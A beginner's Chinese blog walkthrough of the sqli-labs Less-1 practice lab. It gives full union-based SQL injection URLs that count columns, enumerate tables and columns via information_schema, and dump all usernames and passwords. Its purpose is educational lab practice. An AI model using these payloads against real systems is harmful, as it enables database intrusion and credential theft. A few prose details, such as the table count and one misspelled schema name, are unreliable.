sqli-labs1
基本流程就是找到注入点,获取库名,获取表名,获取字段名,获取字段的值。
注意注意,你的符号要一直保持在英文。
首先我们需要找到库名,确认用户名和密码在哪个数据库。/?id=1会回显用户名1和密码1。
你一定知道sql注入的基本原理吧,很好,你很棒,我很开心。
我们可以添加单引号去闭合单引号,然后使用orderby去猜一共有多少列。
(url编码中,%27是单引号,%20是空格)
注意最后添加注释符号注释代码后面可能存在干扰的内容。(--+或者#)
http://127.0.0.1:8888/sqli-labs-master/Less-1/?id=1%27%20order%20by%203--+
order by 3是说以第三列为标准去排列,正常回显说明第三列是存在的。
//order by是mysql中对查询数据进行排序的方法,简单了解一下 select * from 表名 order by 列名(或者数字) asc;升序(默认升序) select * from 表名 order by 列名(或者数字) desc;降序 //我们不需要知道order by执行的具体结果,而是通过order by能否执行来判断列数
接下来order by 4发现报错,提示第四列不存在,说明只有3列。
http://127.0.0.1:8888/sqli-labs-master/Less-1/?id=1%27%20order%20by%204--+
得知只有3列,我们可以利用union函数去进行联合执行sql命令语句,
http://127.0.0.1:8888/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,2,3%20--+
通过让 id=-1,使or之前的部分为假,就会执行or之后的内容。
通过select 1,2,3我们可以确认回显对应的位置。
这里发现2,3会显示在页面上。
我们将2所在的位置替换为database(),这样在2所在的位置就会显示目前我们所在的数据库。
(这里也可以替换3的位置,你可以替换version()来获取数据库的版本。)
http://127.0.0.1:8888/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,database(),3%20--+
我们看到我们所在的库名叫做security,找个记事本记一下,接下来准备爆表名。
因为表名可能很多很长,所以我们可以用group_concat()把他们放在一起输出。
这里用到了一个information_schema的库,这个库很厉害,里面有tables和columns两个表。
information_schema.tables有一个字段名是table_schema,用来选定特定的库。
通过添加where table_schema='security',我们可以在information_schema.tables这个表找到security库里面的所有表名,别忘了给库名加上单引号,这个很重要。
http://127.0.0.1:8888/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27--+--+
我们发现了security库下有三个表,分别是emails,referers,uagents,users,
我们的目标是找到所有的账户和密码,所以只要找到users表的字段名就好。
当然,你也可以选择都看看,保持旺盛的好奇心是很开心的一件事。
把上一条的table_name换成column_name,
information_schema.tables换成information_schena.colunmns,
最后的条件换成where table_name='users',
然后你就可以获得users表的所有字段名。
http://127.0.0.1:8888/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27users%27--+--+
我们直接在表里面去找username和password两个字段就可以,
这里和前辈们学到一个小技巧,
直接把username和password连在一起很不好看,中间放一个id会变得好区分一些。
http://127.0.0.1:8888/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,group_concat(username,id,password),3%20from%20users--+
那么恭喜你,你拿到了所有的用户名和密码,你很棒,我也很棒,哈哈。
第一次尝试着写博客,就算是这种简单的也好难,虽然写的比较凌乱,但是,
但是,如果你能学到一些新的东西,我会很开心。未来的路还很长,所以加油吧,少年!
萌新的sqli-labs1学习
于 2023-03-28 17:04:34 首次发布